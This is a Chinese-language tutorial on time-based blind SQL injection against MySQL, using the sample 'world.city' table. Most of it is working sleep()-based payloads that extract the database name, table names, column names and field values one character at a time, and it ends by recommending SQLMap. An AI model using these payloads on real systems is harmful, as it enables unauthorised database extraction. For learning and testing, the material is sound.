-
說明
目標數據庫類型: MySQL 數據庫:world 表:city 列:ID Name CountryCode District Population
-
時間盲注時,涉及的函數
sleep(s) SQL語句暫停執行時間s秒 mid(s,n,len) 從字符串 s 的 n 位置截取長度爲 len 的子字符串 length(s) 返回字符串 s 的字符數 if(expr,v1,v2) 如果表達式 expr 成立,返回結果 v1;否則,返回結果 v2。 substr(s,n,len) 從字符串 s 的 n 位置截取長度爲 len 的子字符串 ascii(s) 返回字符串的第一個字符的 ASCII 碼 limit 強制 SELECT 語句返回指定的記錄數 database() 當前使用的數據庫
-
注入點
傳遞參數中加入sleep(10),看一下頁面返回是不是有延時。
不詳細說怎麼判斷注入點了!
我這裏注入點爲id
正常SQL語句爲 SELECT * FROM city WHERE `id`= -
判斷注入點
(select * from(select sleep(12)union/ select 1)a)
爆當前用戶、數據庫版本,我省掉了
-
爆數據庫
猜數據庫長度 (if((length(database())=4),sleep(5),0)) 邏輯: 如果數據庫長度爲5,就執行sleep(5) 猜數據庫名 sleep(if((mid(database(),1,1)="a"),5,0)) 邏輯: 如果數據庫的第一位爲a,就執行sleep(5) sleep(if((ascii(substr(database(),1,1)))=97),5,0)) 邏輯: 如果數據庫的第一位爲a,就執行sleep(5)
-
爆表
猜表長度 (select sleep(if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,5,0))) 猜表名 (select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='c'),5,0))) (select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='i'),5,0))) (select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)='t'),5,0))) (select sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)='y'),5,0)))
-
爆列
猜列長 (select sleep(if((select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1)=2,5,0))) 猜列名 (select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),1,1)='I'),5,0))) (select sleep(if((mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='city' limit 0,1),2,1)='D'),5,0)))
-
爆字段
猜字段長 (select sleep(if((select length(ID) from world.city limit 0,1)=1,5,0))) 猜字段內容 (select sleep(if((mid((select ID from world.city limit 0,1),1,1)='1'),5,0)))
備註
以上我只查詢了第一張表的第一列的第一個字段內容 如果要查詢其他位置需要更改limit後的參數
特別說明
如果你要基於時間注入,一定要寫腳本跑,如果是學習的話,可以手工。
強烈建議學習SQLMap